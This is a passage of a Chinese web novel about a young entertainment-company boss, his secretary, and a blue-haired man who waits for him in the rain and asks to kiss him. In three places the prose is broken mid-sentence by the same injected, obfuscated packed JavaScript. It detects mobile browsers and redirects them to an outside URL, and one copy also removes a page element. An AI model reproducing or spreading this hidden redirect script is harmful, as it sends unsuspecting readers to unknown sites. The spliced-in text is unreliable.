活了快半辈子的陈兴邦突然有点说不出话来了,喉咙涩涩地堵着,眼眶泛着一圈圈带着水汽的湿红。 年纪越大越不容易表露情绪,尤其哭泣一类的行为,更适合刚出生对这个世界一无所知的婴儿,至于四五十岁的中老年男子,还是隐忍着浅淡地表示一下感动更好。 蒋昭南一贯不喜欢将工作与个人情感混为一谈,但职场嘛,不讲人情只一味地公事公办通常会引起职员的各种不满,到时候上下离心公司破产才有他哭的。 于是对“人情世故”颇有几分见解的蒋二少还是决定在这种场合打着趣“收买人心”,“老陈,该说的我都说清楚了,你想说的我也都明白,但专业的事儿还得交给专业的人做,你作为商务总监只要对接好以后的外来业务就成,提建议定方案这事儿,公司有的是人选。” 蒋昭南放松说话的时候嘴角总会不自觉向上勾着,像在笑又其实并没有笑,有种若即若离的迷蒙意味,然而外面的天空彻底沉下来,室内明亮温暖的灯光照在他脸上时,那份俊俏外表下满溢出来的年轻,似乎自动融入了他本身爽朗的气质里。 实在显得有点太年轻了,当然,蒋昭南实际年龄也不大,不过二十六七的青年人,总透着那么点儿闯荡世界大干一场的朝气与傲气,没人会觉得可笑,反而都认为可爱又可敬。 陈兴邦最开始其实是有点忌惮这份年轻,都说太年轻的人不知天高地厚,容易不尊重前辈,看不起他们从前的成就,但很显然的是,那些独属于年轻一辈纨绔子弟的酒色气愣是没在蒋昭南身上留下一点儿痕迹。 甚至,陈兴邦慢慢拢紧袖口,用已经爬上纹路的手指轻轻整理好刚刚被翻乱的资料。 他总感觉,这位蒋总或许真的能带公司走上一条全新的不输给任何大集团的发展道路,而他们这些刚进公司的初代员工,只需要站在他身后默默努力就好。 20. 眼神 蒋昭南走出会议室的时候整个人显得有点儿疲惫,这场会一开就开了三个多小时,期间不仅讨论了钟嘉未来的事业规划,还找来了公司新招的几个执行经济进行了系统化的培训。 虽说的确是培训,但其实基本上是总经理的主场,蒋昭南坐旁边也差不多只起个监督的作用。 整场会议结束的时候已经是晚上八点二十四了,离他规定的下班时间过去了快一个小时,饶朔给还待在公司的二十几名员工买了奶茶和汽水,他把东西放休息区叫大家有空来拿,然后握着唯一一杯冒着热气的咖啡来到了蒋昭南的办公室门前。 屈起四根指节轻轻在门上敲了三声,无人回应,饶朔心领神会地缓慢旋转把手,直到厚重的木门一点点发出“吱呀”的声音,才侧着身子放轻脚步,从推开的那一道狭窄的缝隙里慢慢挤入室内。 会议室没开灯,窗帘也被拉上了,整个空间黯得吓人,蒋昭南的办公桌正对着门口,门开的时候他就这么安静地仰靠在老板椅上沉沉地闭着眼睛。 饶朔开门的缝隙很小,门外吊灯的光辉将柔和的一簇光线投射到了蒋昭南深邃的眉眼处,休息区谈话的声音越来越大,却并不显得嘈杂,年轻人谈天论地的说笑声三三两两地传入了办公室。 门内依然没什么动静,只偶尔听得见几片清浅的呼吸声,漆黑笼罩的世界里,蒋昭南额前发丝松散地耷拉在眉边,西装搭在椅背,整个身体全然放松地陷进了柔软的座椅里。 饶朔从背后伸手轻轻关上门,手里的咖啡挥散出丝丝缕缕弥漫的香味与热气,蒋昭南眼前的睫毛微微翕动了一下,随后眉间下意识地拧在了一起,过了会儿,眉梢堆叠的皱褶一寸寸松开,惺忪的睡眼也稍稍睁开了来。 “怎么了?”刚醒的时候说话声音带点儿哑,蒋昭南捏着眉心揉了揉眼睛,撑着扶手慢慢坐起了身。 “椰子丝绒燕麦拿铁,”饶朔背书似的背出了二十多分钟前蒋昭南发微信叫他买的东西,那会儿会议室里的事情还没结束,饶朔看到消息立刻就点了外卖,等拿过来的时候才发现蒋昭南已经累得睡着了。 “大杯去奶泡原萃浓缩?” 饶朔刚把咖啡放到桌上就被蒋昭南缓缓伸手一揽,径直握住底座拿起来就喝,边喝他还边咂巴两口跟品茶似的点评两句,“这也不像啊,感觉像精萃,而且糖浆也没有我想要的香草跟榛果。” 饶朔闻言先转身去一旁的墙壁按亮开关,然后随手从路过的沙发旁抽了把椅子坐下,等坐安稳躺结实后才翘着二郎腿面露“埋怨”道,“有你小子喝的就不错了,还尽挑三拣四,也不想想我一个人得买多少人的饮料,怎么可能事事都那么精细。” 蒋昭南听到这儿又拿起咖啡慢慢喝了一口,等其中泛着稍许苦意的浓香慢慢浮上舌尖才笑着应道,“别人说这话我可能还会信,但如果这人是饶秘你的话……” 含笑的语气稍微顿了顿,随后又带了半分真诚地继续道,“不信,根本不信。” 本来还想把蒋昭南当小孩儿多逗会儿的饶朔:“……” 蒋昭南却没管饶朔被戳穿下意识产生的心虚,他只侧身将搭在身后的西装重新套在身上,然后伸手抚平领口因为折得太狠而出现的几道皱褶。 “老陈出来的时候跟我夸你了。” 没头没脑的一句话,饶朔说出来的时候正躺靠在椅背仰着头看天花板上的吊灯,蒋昭南整理衣服的手莫名地停在了这一秒,然而也仅仅只是这一秒。 “饶秘啊,”蒋昭南勾着唇角重新躺回他的老板椅挑了挑眉不正经道,“不是我盲目自信啊,就像我这么聪明年轻长得还帅出天际的企业老总,外边儿打着灯笼都找不到,更别说刚刚开会那会儿不过就是小试牛刀,于我真正的个人能力而言,简直就不值一提。” 蒋昭南越说越不着调,到最后甚至还配上了一些只有十七八岁中二男高才能理解的肢体动作,说实话,在这种明亮乃至于有点澄澈的灯光下,配上蒋昭南这张嚣张的帅脸,再忽略掉一旁饶朔快翻上天的白眼,这场景莫名还谈得上几分热血。 当然,这会儿已经到了非著名影帝级演员,专业型中二病霸总蒋昭南先生的发言会总结时刻,“所以说啊饶秘,我工作能力强,人又这么优秀,老陈他夸我也是应该的,以后这种小事就不用告诉我了,毕竟像这种是个人都知道的事实,说出来还真有点儿掉格局。” 终于翻完了白眼的饶朔又抽着嘴角默默给蒋昭南贴上了“不要脸”的标签。 “说真的,”饶朔似是受不了地看向蒋昭南问道,“你究竟是怎么做到的?老陈这人我也跟他共事了十来年,家里有背景自身有实力,这么些年进入总部高层后更是多了点儿迟来的傲气。” “咱公司能把他请来除了是看在老董事长的面子上,更多的其实还是因为商务总监这位置符合他的心里预期。” “嗯,”蒋昭南边听边调整椅子朝前挪了点儿,直到半边胳膊撑在桌上拿起一旁的咖啡再喝了口,轻缓地道,“明白,我前两天才做过老陈的背调,他那些生平履历家庭结构之类的说不上一清二楚,却起码也算得上比较了解。” “你做过老陈的背调?” 饶朔听得颇有几分好奇,“我怎么不知道这个?我记得你这几天也没找我要过老陈的资料啊。” 蒋昭南闻言侧头看了饶朔一眼,怎么说呢,人类向同伴传递信息的方式有很多,语言只是其中最主要也最有效果的一种,但如果非要问到底还有哪种方式能够最快且最简洁地表达情绪,毫无疑问,是眼神。 不得不承认,蒋昭南望过来的这一眼极其复杂,说它是鄙夷不太贴切,因为毕竟也没歧视那意思,但说它是无语也不准确,因为这程度明显要比简单的无语或是不理解重得多。 要是真仔细研究一下这眼神的深意的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋昭南却觉得莫名其妙,“什么为什么?” “别跟我装傻,”饶朔盯着他的眼睛问,“为什么要做这些,我之前给你的东西明明已经足够了。” “哪儿能够啊。”蒋昭南将咖啡喝完一半,笑着道,“想要尽可能了解一个人仅凭几篇文字是完全不够的,尤其是演员,演得了什么演不了什么,需要通过大量的视频资料一点点对比,只有这样才能勉强对她的演技有个比较精确的判断。” “话虽如此,”饶朔隐隐皱起眉头正色道,“这么大工程量你还能休息吗?平时工作本来就忙,现在又熬那么多夜,你身体真的吃得消?” 蒋昭南忽然愣了一下,因为他立刻想起回国的这一个多月他基本每天都在熬夜,也就祁砚知第一次给他发微信那晚上睡得早,至于具体的原因,他自己也说不清楚。 21. 对不起 “熬不住也得熬呗,难不成熬不下去就撂挑子走人啊?” 蒋昭南躺椅子上的时候顺便给自己手机充上了电,今天整个一天都很忙,哪怕他在下午会议开始前就已经打开了飞行模式,但中途的电量也只够蒋昭南在两分钟内解除飞行打开微信迅速给饶朔发消息买饮料。 关键就这么极限的操作,他还能准确记住其中几位员工的忌口喜好,以及顺便提出自己对于咖啡精准到糖浆选几泵的变态要求。 或许是今天运气还算不错,蒋昭南刚发完微信手机就因为没电自动关机了,这情况的离谱程度很难不评一个世界第八大奇迹。 本来该是一件等充上电值得发朋友圈的好事,但蒋昭南撑着脑袋听总经理讲话的恍惚间似乎想起来,他刚点进微信的时候好像有消息弹出来,但那会儿他急着给饶朔发微信,于是就算弹出了消息他也没管,随便瞄了一眼就给划走了。 至于现在…… 好不容易睡了十多分钟终于脑袋清醒了的蒋昭南仰头看向对面高挂的时钟,已经快九点了,他记得祁砚知说过会来接他,可时间定的是七点半,现在已经过去了差不多一个半小时,外面估计还在下雨,他还会来吗? 还是说,已经走了。 蒋昭南敛了敛神色,鸦色的眼睫稍稍垂了垂,莫名有些低落的目光顺着手边的咖啡从包装看到底座,反反复复,没由来的烦躁。 “蒋总。” “蒋总?” “蒋总!” 饶朔的喊声差点给蒋昭南吓了一跳,即将碰到咖啡杯身的指尖无意识晃了晃,幅度很轻,看不出在想什么。 沙发那边的视线从不解转为了担忧,蒋昭南侧眸移开目光,收回手指的时候格外浅淡地问了一句,“怎么了?” “你还问我怎么了?!”饶朔打量着蒋昭南的神情略显无语道,“刚刚说着说着就掉线了的人不是你?一个劲儿盯着咖啡看,喊半天也没反应。” 说到这儿饶朔莫名既好奇又略带几分幸灾乐祸地问,“蒋总你这是想到什么了,整个人就跟丢了魂儿似的,脸色颓丧动作僵硬,那表情明显一看就心不在焉,更别说眼神了,完全不聚焦,简直就是“霜打的茄子”这个形容的具象化体现。” “我心不在焉?”蒋昭南显得有些震惊,但饶朔却完全搞不懂他的震惊来自于哪里,要是那会儿他兴起拿手机给蒋昭南拍两张照片,那这家伙一定会看到他自己明显不在状态的模样。 双睫低垂,双眼无神,说他丢了魂儿还一点不为过。 相比饶朔半打趣似的疑惑,蒋昭南却在带着疑问说出“心不在焉”这四个字后,神色一震,深邃的眉眼拧结在一起,浅褐色的瞳孔荡起一圈圈不可置信的涟漪。 “蒋总……你到底怎么了?”这回饶朔的语气是实打实的担心,他总觉得蒋昭南现在的状态很不对,像受什么刺激似的,右手抵在下颌固执而不甘地望向门边半人高的花瓶,尤为深沉的目光里偶尔闪过半寸不该有的矛盾与挣扎。 心脏跳动的频率快得有些过分了,蒋昭南攥紧西服袖扣将指腹掐到泛白,咬着牙深呼吸半天才缓缓吐出一句,“没事。” 饶朔却直截了当戳穿了他,“你这像是没事的样子?” 蒋昭南不答话,饶朔便将胳膊搭在扶手上侧头望他,“据说觉睡少了会使大脑处于过度兴奋的状态,长期下来说不定会导致神经衰弱。” 说罢饶朔便偏头扫了一眼摆在办公桌上的东西,意有所指地道,“还是少喝点儿咖啡吧,不然哪天猝死了都不知道。” “这事儿跟咖啡没什么关系。”终于彻底缓过来的蒋昭南松开指节倒回老板椅重新深呼了口气。 “跟这无关?”饶朔笑得好奇又八卦,“那跟什么有关,难不成是蒋总你的生活感情问题?” 越想越觉得可能,饶朔压着笑推了推鼻梁上的眼镜,勾着唇角道,“跟我说说呗,这种事我是过来人,懂得多,说不定还能给你传授点儿经验。” “经验?”蒋昭南侧头睨了一眼正在憋笑的饶朔,状似不经意地问了一句,“饶秘你是比我大十岁对吧?” “嗯?”饶朔愣了一下,没反应过来他什么意思,只抬了抬下巴朝蒋昭南回了句,“差不多吧,你11月中旬满二十七,我五月份到的三十六,四舍五入下来基本上是大你十岁。” “噢—”蒋昭南闻言拖长了尾音显得有些轻佻地问道,“那你找着老婆了吗?” 突然被戳到痛处还无法反驳的饶朔:“……” “不急,不急,”饶朔几乎是咬着后槽牙回道,“这不工作太忙,没时间找嘛。” “理解,非常理解。”蒋昭南笑得真诚,顺手摸回正在充电的手机边开机边跟饶朔说笑,“既然饶秘你都不急,我就更不急了,刚好公司正处在起步阶段,这么关键的时候你我可都不能掉链子啊。” 开机稍微需要点儿时间,蒋昭南边缓慢摩挲着屏幕边缘的那条细缝边随意听饶朔讲话。 “这话蒋总你可就说错了啊。”饶朔半真心的语气在蒋昭南耳边抑扬顿挫地响起,“好的感情一点儿也不耽误事,甚至恰恰相反,如果各方面都很契合的话,说不定还能对各自的事业产生些意想不到的促进作用。” “好的感情?”蒋昭南用仅他自己才能听见的声音,极轻、极细微地嗫喏着重复了一遍。 究竟什么才是一段好的感情? 互相救赎?古早童话里的东西。 互相成就?过度理想化的产物。 蒋昭南没谈过恋爱,连段感情都不曾有过,更别提所谓好的感情,听过的见过的都是别人的失败案例,随随便便挑一个都能当标准的反面教材,等真正要获得答案的时候想找个正面参考都没有。 失败,真的很失败。 虽然失败,但人生算得上成功的事其实也没几件,秉承着“放过世界不如放过自己”的蒋昭南决定先将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14133352|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个哲学到堪称玄学的问题放到一边,因为此刻他打开手机点进微信忽然发现了一个更棘手的问题。 祁砚知居然真给他发了消息! 虽然只有一条,时间停在三个多小时前,问他今天能不能准时下班。 蒋昭南下意识捏紧了手机,已经过去了这么久,他该不该回条消息,如果回的话又该说些什么? 想了一会儿,还是没得出结果,比起这个,蒋昭南其实更关心的是祁砚知有没有来过,又或者说,是不是已经离开了? 饶朔还在絮絮叨叨说些什么,蒋昭南没心思听,犹豫半天最终还是在聊天框里沉沉地敲下:“我今天开会开得有点久,结束的时候已经很晚了,中途手机没电关机所以就没收到消息,抱歉。” 这句话在蒋昭南的文字框里待了好几分钟,但他却迟迟未点发送,直到办公室挂钟的指针终于走到了“九点”,随着“叮”的一声响,蒋昭南终于决定将“抱歉”两个字删除并迅速换成“对不起”。 消息发出去以后蒋昭南才像刚完成了什么大项目一样,长舒一口气慢慢瘫倒在柔软的椅背上。 饶朔没再说话了,整个办公室重新恢复到了他休息之前的寂静,右边窗户没关严实,外面滴落的雨声顺着窗缝流入暖和的室内。 蒋昭南原本想的是等雨停了再出公司,但现在看样子是行不通了,前台应该有伞,他打算去拿把伞到外边儿透透气,等雨小了再打车回家。 至于祁砚知…… 蒋昭南低头看了看手机,今天的聊天记录还是只有单薄的两条消息,也不知道他到底看没看到,没看到的话是不是在忙,看到了的话…… 好吧,相比之下蒋昭南还是更希望祁砚知在忙自己的事所以没看到他发的消息。 自欺欺人总会变得莫名其妙的洒脱,不再纠结的蒋昭南立刻起身拿上桌边还剩一半的咖啡几步走过饶朔身边,顺便表达了一下离开的意思。 眼见这人刚刚根本没听他说话,现在走得也突兀且随意,饶朔直接眼不见为净,摆摆手示意他要走就走,加班的员工他会负责看着。 蒋昭南闻言点了点头顺带打了个响指就旋开把手准备离开了,饶朔本来还想提醒他完成今天剩下的一些工作,但莫名想起刚才没开灯的办公室,蒋昭南累得直接在椅子上睡着了。 时间很短,大概率做不了梦,但饶朔看得很仔细,那会儿蒋昭南的睫毛在轻微地难受地颤动,眉毛也拧得很紧,看起来很不安。 哪怕简单打个盹儿也不得安生,极可能是受过某种不小的刺激,以至于产生了一些不良反应。 都是些下意识的举动了,根深蒂固,饶朔又不是医生,没药也没方子,只能看蒋昭南自己怎么想了,治还是不治? 当然,也不排除他本人根本没把这当成病。 行了,饶朔看着蒋昭南远去的背影默默想,反正这人现在的当务之急是睡个好觉,至于其他的,看造化吧。 22. 走运 蒋昭南下楼的时候找前台拿了把伞,全黑的伞柄,伞面也是一样,压抑的,有些透不过气的漆黑。 外边的雨很大,雨滴却是透明的,坠落的时候像条还未串成线的珠链,噼啪砸在地上溅起零零散散的光点,蒋昭南倚在前台金钱树的侧边没什么表情地凝视雨下被狂风摧折的银杏。 前台值班的小姑娘今年才刚大学毕业,没什么社会经验,对未来既懵懂又期待,蒋昭南找她拿伞的时候这姑娘正一只手塞进暖手袋一只手不紧不慢调整着平板播放的视频。 大概是宫斗一类的电视剧,蒋昭南走近的时候还能听到一两句“给皇上请安”,“饶过奴婢”等只有某些宫斗剧才会出现的台词。 小姑娘抬眼看见蒋昭南过来的时候实打实吓了一跳,反应过来后立刻点击暂停退出界面点开出入登记表,推了推眼镜坐姿板正,一副努力工作恪尽职守下一秒就可以被评为“本年度最佳员工”的认真模样。 蒋昭南知道真相却也不戳穿,他不是个喜欢苛责员工的老板,只要不影响正常工作,上班期间偷摸干什么都无伤大雅,当然,杀人放火伤天害理的事最好还是别做。 “蒋总,”小姑娘伸手指了指道路两旁的雨帘稍显紧张地说,“现在雨还是有点大,您要不要在这儿或者回办公室多待会儿,等雨小了再回家。” 小姑娘说话的时候蒋昭南还在低头看手机,伞尖被他半攥进手心,时不时戳进去一个椭圆形的印记。 祁砚知还是没回消息,时间已经过去了快十分钟,蒋昭南伸出握伞的指尖无意识揉捏着金钱树的叶子,空出来的另一只手则用干燥的指腹在微信聊天界面不断划来划去。 说实话,有点急,但具体在急什么,蒋昭南突然不敢承认了。 “蒋……蒋总,您……您刚刚听见我在说什么了吗?” 前台小姑娘最近这几天才被招进公司,平时见过的最高上级无非就是每回穿搭都很另类的总经理,而像蒋总这种级别的老板,作风有些太过低调了,她没接触过,所以也不知道好不好说话,会不会一个不高兴就把她给开了。 “嗯?”蒋昭南转头看了小姑娘一眼,不清楚是不是社恐,还是现在气温比较低她有点怕冷,总感觉这姑娘全身都在哆嗦,特别是嘴那圈,说话的时候都止不住地结巴。 “抱歉,刚刚没听见,能不能再说一遍。”话是朝姑娘说的,蒋昭南的目光却仍忍不住垂下向手机屏幕瞟两眼,结果还是一样,没回消息。 “啊?噢噢蒋总,我是说现在雨挺大的,您要不再在公司待一会儿,等雨小了再回家。”这姑娘边说还边在心里犯嘀咕,现在这年头老总都这么讲礼貌的吗,用词讲究态度也挺真诚,搞得她这个新员工还莫名有点手足无措。 “不用,我有伞。”蒋昭南终于放过了身旁的金钱树,葱绿的叶子被他硬生生揪下来好几片,落入掌心的时候基本每片都带上了一点点掐痕。 “那……那我就不劝您了,”小姑娘看得有点儿胆战心惊,直觉告诉她这位老总现在的心情可能不怎么好,余光偷偷瞟过去的时候正好看见了对方的手机屏幕,熟悉的微信界面,看样子应该是在等人回消息。 而且这人应该对蒋总很重要,不然也不会一直停在这个聊天页这么久。 “蒋……蒋总!”就在蒋昭南即将撑伞离开的前一刻,这个刚把出入记录登记好的小姑娘忽然叫住了他。 蒋昭南已经打开了伞面,听到喊声的时候稍微愣了一下,随后握住伞柄缓缓转身问了问,“怎么了?” “您是不是惹家人生气了啊?”姑娘转着瞳仁显得有点不好意思地挠了挠头,“我刚刚不小心看见了您的聊天记录,好像对方一直没回您消息,如果是真生气了的话,我还能给您出出主意。” “出主意?”蒋昭南表情有点意外,他本来是要解释对方并不是他的家人,但转念一想这姑娘其实也没必要知道太多,于是就自动打消了这念头,反正事实上他的确有点担心祁砚知是不是真生他气了,女性本就比男性心思细腻些,说不定还真能想些办法。 当然,关于为什么会担心祁砚知生气这点,蒋昭南自动把它归为“稳住合作方以免交易提前终止”的惯用理由里。 “对啊,”姑娘说得自然,“生气其实是很好哄的,尤其是家人,稍微服个软认个错就行。” 蒋昭南听得眯起了眼睛,“这么简单吗?” “嗯嗯,”姑娘颇有自信地点了点头,“哄人这门学问说简单也不简单,说难倒也不难,它的关键在于态度,只要足够诚恳足够用心,就算有天大的矛盾也能当场解决。” 态度? 蒋昭南垂眸默了默,他发那条消息的态度也能算得上……诚恳么? 一楼的灯光明亮寂静,蒋昭南撑伞站在雨丝倾洒的门外,路灯的辉光旋转着流动开,一滴清澈却不规则的水珠顺着伞架流下,落在西装裤缝的边缘。 蒋昭南伸手捻了捻,透明的水渍被他一把抹去,前台小姑娘已经坐回了自己的办公椅,暖手袋紧紧抱在怀里,黑白分明的眼睛疑惑地打量着蒋昭南,意思应该是不理解他为什么既不说话也不离开,就这么撑着伞安静站在雨里。 蒋昭南自己也不理解他自己,太纠结了,总觉得离开这里就要打车回家了,可他分明记得祁砚知会来接他,如果他提前走了的话对方会不会以为他完全不在意这件事。 可祁砚知又不回消息,蒋昭南根本不知道他现在究竟在哪儿,换句话说如果祁砚知根本没有来过或者已经回去了该怎么办,他总不能一直就在这儿干等着吧。 雨点敲击的声音越来越急切,蒋昭南担心前台那姑娘把他当成神经病,于是自动转身向右边那条卖咖啡的商业街走去。 蒋昭南对咖啡有瘾,前两年沾上的毛病,那会儿工作比现在更忙,要学的东西也比现在多得多,每天的生活基本上是白天学着做生意谈合同,晚上回去整宿整宿地看书做笔记。 娱乐圈的生意,什么人都得接触,想往上爬得更高,什么书也都得看,经济学的专业书都是小意思,什么社会学哲学新传公关,各方各面都得涉及。知识不仅多而且杂,看不懂是常有的事,但看不懂却不能放弃,只能想办法找资料找视频找人脉把它学懂。 于是蒋昭南就在那段时间很自然地对咖啡上瘾,一天掰成两天过,咖啡随时当水喝,整天用堪比铁人的意志力保持着一种随时都能睡着但又死活睡不了的平衡。 不得不说,幸好当时年轻又爱健身,不然就冲这么高强度的工作和学习安排,蒋昭南估计他还真活不到现在。 今天的天气的确很冷,尤其还在下雨,整条路上都没什么行人,只有偶尔一两只被雨水打湿的野猫甩了甩背毛,匍匐着向墙角靠近。 饶朔买的咖啡被蒋昭南一口一口无意识喝完了,其实不太好喝,没有他想要的糖浆,总感觉哪儿哪儿都不得劲。蒋昭南这人虽说并不挑剔,各方面都很好满足,但总归也是有点儿小爱好小追求,例如机车例如烟酒,再例如咖啡。 然而这次蒋昭南想买咖啡不是因为馋了或是瘾上来了,而是他现在真有点不知道该干什么。 电量已经很充足的手机被他紧紧攥在手心,分明只需要再发几条消息或者直接打微信视频就可以问清楚的事情,但他就是拧巴地想再等会儿,想再给自己一点儿微乎其微的缓冲时间。 什么时候这么犹豫了?蒋昭南盯着路面飞溅到脚尖的积水止不住地想。 不知道,蒋昭南眉尾稍带了点儿躁意地垂了一下, 先买杯咖啡冷静一下吧。 走到街角的时候发现路灯坏了,整个路口漆黑一片,商业区离这儿大概还有两条街的距离,抬眼眺望的时候隐约还能望见对面广告牌闪烁的亮光。 刚好蒋昭南已经走到了这条道唯一的十字路口,周围一个行人也没有,雾蒙蒙的天气里,人们都希望早点回家,于是这条路就这么安静地无声无息地享受着黑夜。 说不清楚出于什么样的理由,蒋昭南握紧伞柄稍微向上提了提,沉黑的伞面慢慢挪开,那双浅褐色的瞳孔忽然被一抹介于深蓝与浅蓝的清晰亮色全然包裹。 祁砚知就这么沉默地倚在墙边,红灯停留的间隙里,那是唯一一座通向北面寺庙的百米长墙,现在已经很晚了,寺庙的高顶已经渐渐隐没在了浓重的夜色里,祁砚知却没有,一点儿也没有黯淡。 这人就像经验老道的模特,一身棕色的风衣松开纽扣半敞在夜风中,黑色的高领毛衣看起来质感很好,既能保温又能将线条分明的身材衬得性感神秘,甚至还隐隐透着那么点儿禁欲的味道。 再往下看,还是一条直筒牛仔裤,不过这条更修身更复古,像是拼接的设计,在祁砚知向后抬腿无意识抵在墙上时,裤脚边缘微微露出了半边的蓝色蝴蝶。 直到最后蒋昭南才重新把目光落在祁砚知脸上,一头蓬松柔顺的蓝发被安静地反扎在脑后,稍短些的碎发垂在颊边堪堪露出正在轻晃的十字架耳钉。 祁砚知的鼻尖很漂亮,侧面看过去既高挺又精致,还有睫毛,纤长又浓密,轻颤的时候像蝴蝶的羽翼,尤其在这种黑夜中,白皙的面庞几乎等同于上好的羊脂玉,诱惑人靠近却又不允许接近。 蒋昭南发现祁砚知似乎并没有看见自己,他只一个人静静倚在墙边,不声不响地垂眸盯着路边慢慢行进的蚂蚁。 祁砚知站的地方淋不到雨,不过区域却很小,大概也就够他双腿站立以及面前那堆成群结队的蚂蚁搬家,绿灯亮了,蒋昭南却不着急过去,他撑着伞调转方向朝祁砚知所在的地方一步步走去。 祁砚知还在观察蚂蚁的行动轨迹,蒋昭南不知道那到底有什么好看的,但他走近才发现祁砚知其实嘴里还含着东西,白色的柄,蒋昭南起初以为那是烟,可直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“再说了,你又不知道我车长什么样,我待在车里你根本认不出来,所以只有站这儿看能不能堵到你了。” “本来就是碰运气的事儿,这地方我没来过,也不知道你究竟会不会经过,但最终我还是遇见了,看来我今天真的挺走运。” 其实祁砚知没说的是,除了他运气好以外还有另一种可能,但这种可能只要他自己知道就好了,说出来后面这座寺庙就不灵了,那句他没说出来的话是, 我们真的很有缘分。 蒋昭南原本还想继续说些什么,出于人道主义的关心也好,出于对交易能否成功完成的担心也罢,看见祁砚知就这么孤零零站在墙边也不知道能不能等到他的时候,蒋昭南的第一反应居然是想扇自己巴掌。 然而这种可以震惊他那些狐朋狗友一万年的想法也就短暂持续了半分钟,因为半分钟过后他就走到了祁砚知面前假装不刻意地梭巡他身上有没有冻红冻伤。 结果也就过了十秒吧,蒋昭南发现祁砚知这人看起来生龙活虎,完全可以说是什么事都没有,他才后知后觉发现自己要么没脑子,要么脑子就被狗吃了。 这天气虽说降温降得很快,但也才刚入秋,怎么可能在外边随便站一会儿就被冻出伤来。 更别说祁砚知还是一个身量比他都高的成年男性,这几率就跟出门打酱油随地捡几百万似的,除非做梦,不然就是一个自带玄学属性的魔幻故事。 “怎么了,在想什么?”祁砚知伸手在蒋昭南面前挥了挥,动作很轻很缓,甚至带不起一丝寒风。 蒋昭南的视野里出现了一抹幅度很小的白影,他微微愣了愣,抬眼的时候正好看见祁砚知挑着眉笑得开心,蒋昭南撑伞朝他那边斜了斜问,“你呢,又在笑什么?” “只要见到你就很高兴啊,一高兴就忍不住笑。”祁砚知勾着唇栖身注视蒋昭南的眼睛,蒋昭南没想到他会突然靠近,于是丝毫不设防地与祁砚知的鼻尖仅仅相差几厘。 街边的红绿灯早已不知变换了几个来回,没有路灯的墙角只剩一把伞将两道清晰的身影全然笼罩,祁砚知几乎是抵着蒋昭南的唇角一寸寸靠近,带着点儿试探的意味,兴奋到止不住颤动的目光在蒋昭南柔软的嘴唇上贪婪留连。 实在是靠得太近了,祁砚知喷薄的热气半边洒在他脆弱的脖颈,半边又洒在他浅色的唇瓣上,有点儿痒,但更多的是颤栗,是从尾椎骨蔓延到后颈的颤栗,像猫被攥住了后颈皮,危险至极。 本该是泛着冷意的空气,祁砚知却热得要命,顺着伞檐落下来的雨滴毫不留情地砸进他的风衣口袋里,祁砚知感觉得到,却浑不在意。 成年人暧昧的气息愈发浓烈,从蒋昭南的视角只能看见对方低垂的睫毛,祁砚知抬头眼里流转的却又是一片浓重的欲色,他问,“试试吗?跟我接吻,就一下,真的就一下。” 蒋昭南竟有些说不出话来,祁砚知就好像知道他心软一样换了法子,用猫儿一样可怜又酸软的声音求他,“真的只有一下,很快就好,你会答应的对吧。” 蒋昭南还是没说话,祁砚知就算急也得尊重他的意见,于是捏足了嗓子尽量放轻了调地磨他, “求你了蒋昭南,让我亲一下,就一下,不多也不少。” “好不好?”